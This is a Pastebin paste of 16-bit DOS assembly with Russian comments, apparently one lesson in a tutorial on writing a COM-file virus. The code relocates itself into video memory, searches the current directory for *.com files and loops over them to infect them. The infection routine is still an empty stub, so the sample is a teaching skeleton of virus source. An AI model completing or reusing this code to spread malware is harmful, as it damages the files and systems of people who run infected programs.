Advertisement
Guest User

Untitled

a guest
Jan 30th, 2016
124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. .286    ;Будем использовать инструкции 80286 процессора (пришло время!)
  2.  
  3. cseg SEGMENT
  4. assume cs:CSEG, ds:CSEG, es:CSEG, ss:CSEG
  5. org 100h
  6.  
  7. Begin:
  8.        jmp Init     ;Преходим на процедуру инициализации 
  9.  
  10.  
  11. ; --- Общие данные ---
  12. Off_move dw offset Lab_jmp  ;Смещение и
  13. Seg_move dw 0BF00h      ;сегмент адреса, куда будем прыгать
  14.                 ;0BF00h - адрес (сегмент) 7 страницы дисплея
  15.                 ;Младшее слово в начале, а старшее - в конце
  16.  
  17. Off_return dw offset Lab_return ;Смещение и
  18. Seg_return dw ?                 ;сегмент адреса для возврата
  19.  
  20.  
  21. ;       === Процедуры работы с файлами ===
  22.  
  23. ; --- Открытие файла для записи ---
  24. ; Вход:  DX - путь файлу ASCIIZ
  25. ; Выход: Handle, BX - номер файла
  26. Open_file proc
  27.      mov ax,3D02h   ;Открываем файл для чтения/записи
  28.      int 21h
  29.      mov Handle,ax  ;Сохраняем номер файла
  30.      mov bx,ax
  31.      ret
  32.  
  33. Handle dw 0FFFFh ;Переменная для хранения номера файла (по умолчанию 0FFFFh)
  34. Open_file endp
  35.  
  36. ; --- Закрытие файла ---
  37. ; Вход:  Handle - номер открытого файла
  38. ; Выход: ничего
  39. Close_file proc
  40.      cmp Handle,0FFFFh  ;Нет открытых файлов?
  41.      je No_close    ;Тогда выходим (закрывать нечего!) 
  42.  
  43.      mov bx,Handle  ;Закрываем файл...
  44.      mov ah,3Eh
  45.      int 21h
  46.  
  47. No_close:
  48.    ret
  49. Close_file endp
  50.  
  51. ; --- Поиск первого файла ---
  52. Find_first proc
  53.       mov ah,4Eh    ;Ищем первый файл по маске (Mask_file)
  54.       xor cx,cx     ;Атрибуты обычные (CX=0)
  55.       mov dx,offset Mask_file ;Адрес маски в DS:DX
  56.       int 21h       ;Теперь (если нашли файл *.com в текущем каталоге)
  57.             ;имя файла находится по адресу 0BF00:001Eh,
  58.             ;т.е. по смещению 30...
  59.    ret
  60. Mask_file db '*.com',0  ;Маска для поиска (только COM-файлы)
  61. Find_first endp
  62.  
  63. ; --- Поиск следующих файлов ---
  64. Find_next proc
  65.       xor dx,dx     ;DS:DX указывают на DTA
  66.       xor cx,cx
  67.       mov ah,4Fh
  68.       int 21h
  69.    ret
  70. Find_next endp
  71.  
  72. ; --- Заражение файла ---
  73. Infect_file proc
  74.       clc       ;Пока просто сбросим флаг переноса.
  75.             ;Типа, заразили файл успешно!
  76.             ;Потом добавим все, что нужно...
  77.    ret
  78. Infect_file endp
  79.  
  80.  
  81. ; Процедура инициализации вируса
  82. Init:
  83.        mov es,Seg_move  ;ES - сегмент, куда будем перемещать код вируса,
  84.        mov di,100h  ;DI - смещение
  85.        mov cx,offset Finish-100h    ;CX - количество перемещаемых байт
  86.                     ;CX = конец нашего вируса - 100h (PSP)
  87.                     ;Т.е. CX = длина нашего вируса в байтах
  88.        mov si,100h          ;DS:SI откуда перемещать будем
  89.        rep movsb            ;перебрасываем нашу программу в область
  90.                     ;7 видеостраницы
  91.  
  92. ;   ___________________________________________________
  93.  
  94. ;   !!! Теперь ВНИМАТЕЛЬНО следим за CS в отладчике !!!
  95. ;   ___________________________________________________
  96.  
  97.        jmp dword ptr cs:[Off_move] ;Прыгаем куда переместили (фактически на
  98.                    ;следующую строку, только уже в сегменте
  99.                    ;0BF00h!)
  100.  
  101. ; Что показал отладчик? Подумайте, что произошло...
  102.  
  103. ; Теперь мы уже в области экрана
  104. Lab_jmp:
  105.     ;Вот сюда-то мы и прыгнули с предыдущей строки! Толко CS теперь
  106.     ;равен 0BF00h. Внимательно проследите в отладчике за этим...
  107.  
  108.        nop  ;Это Вам для отладчика (на всякий случай!)
  109.        nop
  110.  
  111.        push cs  ;Настроим сегментные регистры
  112.        pop ds
  113.  
  114.        mov Seg_return,ss    ;Запомним сегмент для возврата.
  115.                 ;SS-то остается прежним!
  116.  
  117.        mov ah,1Ah   ;Установим DTA для поиска файлов
  118.        xor dx,dx    ;Он устанавливается на тот адрес, который содержится
  119.        int 21h      ;в регистрах DS:DX. В отладчике посмотрите,
  120.             ;что находится в памяти на которую указывают данные
  121.             ;регистры, т.е. DS:DX...
  122.             ;После выполнения следующей процедуры там будет
  123.             ;находиться что-то ОЧЕНЬ интересное...
  124.  
  125.        call Find_first  ;Ищем первый файл
  126.        jc Nomore_files  ;Нет COM-файлов - на выход 
  127.  
  128. Inf_file:
  129.        call Infect_file ;Нашли - пробуем заразить
  130.        jnc Nomore_files ;Удалось заразить - выходим 
  131.  
  132.        call Find_next   ;Не удалось заразить - ищем следующий
  133.        jnc Inf_file ;Нашли еще один COM-файл; пробуем заразить... 
  134.  
  135. Nomore_files:
  136.        jmp dword ptr cs:[Off_return]    ;Возвращаемся в сегмент программы...
  137.         ;Интересно, а что отладчик говорит по поводу этого jmp'а?
  138.         ;Возможно, сегментные регистры помогут?
  139.  
  140.  
  141. ;Теперь мы уже в сегменте зараженной программы...
  142. ;Только что произошло самое важное!
  143. Lab_return:
  144.        push cs      ;Восстановим сегментные регистры...
  145.        push cs
  146.        pop ds
  147.        pop es
  148.  
  149.        mov ah,1Ah   ;Восстановим DTA
  150.        mov dx,80h
  151.        int 21h
  152.  
  153.        ret      ;Выходим в DOS...
  154.  
  155. Finish equ $        ;Метка конца программы-вируса
  156.  
  157. CSEG ends
  158. end Begin
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement